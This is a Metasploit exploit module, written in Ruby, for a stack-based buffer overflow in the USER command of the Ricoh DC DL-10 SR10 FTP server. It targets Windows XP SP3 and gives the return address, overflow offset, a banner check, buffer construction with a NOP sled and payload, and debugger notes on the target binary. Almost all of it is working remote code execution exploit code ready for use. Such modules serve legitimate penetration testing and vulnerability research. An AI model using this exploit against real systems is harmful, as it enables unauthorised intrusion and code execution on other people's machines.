Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP
    service.  By supplying a long string of data to the USER command, it is
    possible to trigger a stack-based buffer overflow, which allows remote code
    execution under the context of the user.

     Please note that in order to trigger the vulnerability, the server must
    be configured with a log file name (by default, it's disabled).
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Julien Ahrens', #Discovery, PoC
     'sinn3r'         #Metasploit
    ],
   'References'     =>
    [
     ['OSVDB', '79691'],
     ['URL', 'http://secunia.com/advisories/47912'],
     ['URL', 'http://www.inshell.net/2012/03/ricoh-dc-software-dl-10-ftp-server-sr10-exe-remote-buffer-overflow-vulnerability/']
    ],
   'Payload'        =>
    {
     # Yup, no badchars
     'BadChars' => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "process",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3',
      {
       'Ret'    => 0x77c35459,  #PUSH ESP; RETN (msvcrt.dll)
       'Offset' => 245
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Mar 1 2012",
   'DefaultTarget'  => 0))

  # We're triggering the bug via the USER command, no point to have user/pass
  # as configurable options.
  deregister_options('FTPPASS', 'FTPUSER')
 end

 def check
  connect
  disconnect
  if banner =~ /220 DSC ftpd 1\.0 FTP Server/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  buf = ''
  buf << rand_text_alpha(target['Offset'], payload_badchars)
  buf << [target.ret].pack('V')
  buf << make_nops(20)
  buf << payload.encoded

  print_status("#{rhost}:#{rport} - Sending #{self.name}")
  connect
  send_user(buf)
  handler
  disconnect
 end
end

=begin
0:002> lmv m SR10
start    end        module name
00400000 00410000   SR10       (deferred)            
    Image path: C:\Program Files\DC Software\SR10.exe
    Image name: SR10.exe
    Timestamp:        Mon May 19 23:55:32 2008 (483275E4)
    CheckSum:         00000000
    ImageSize:        00010000
    File version:     1.0.0.520
    Product version:  1.0.0.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Ricoh Co.,Ltd.
    ProductName:      SR-10
    InternalName:     SR-10
    OriginalFilename: SR10.EXE
    ProductVersion:   1, 0, 0, 0
    FileVersion:      1, 0, 0, 520
    PrivateBuild:     1, 0, 0, 520
    SpecialBuild:     1, 0, 0, 520
    FileDescription:  SR-10

Note: No other DC Software dlls are loaded when SR-10.exe is running, so the most
stable component we can use is msvcrt.dll for now.
=end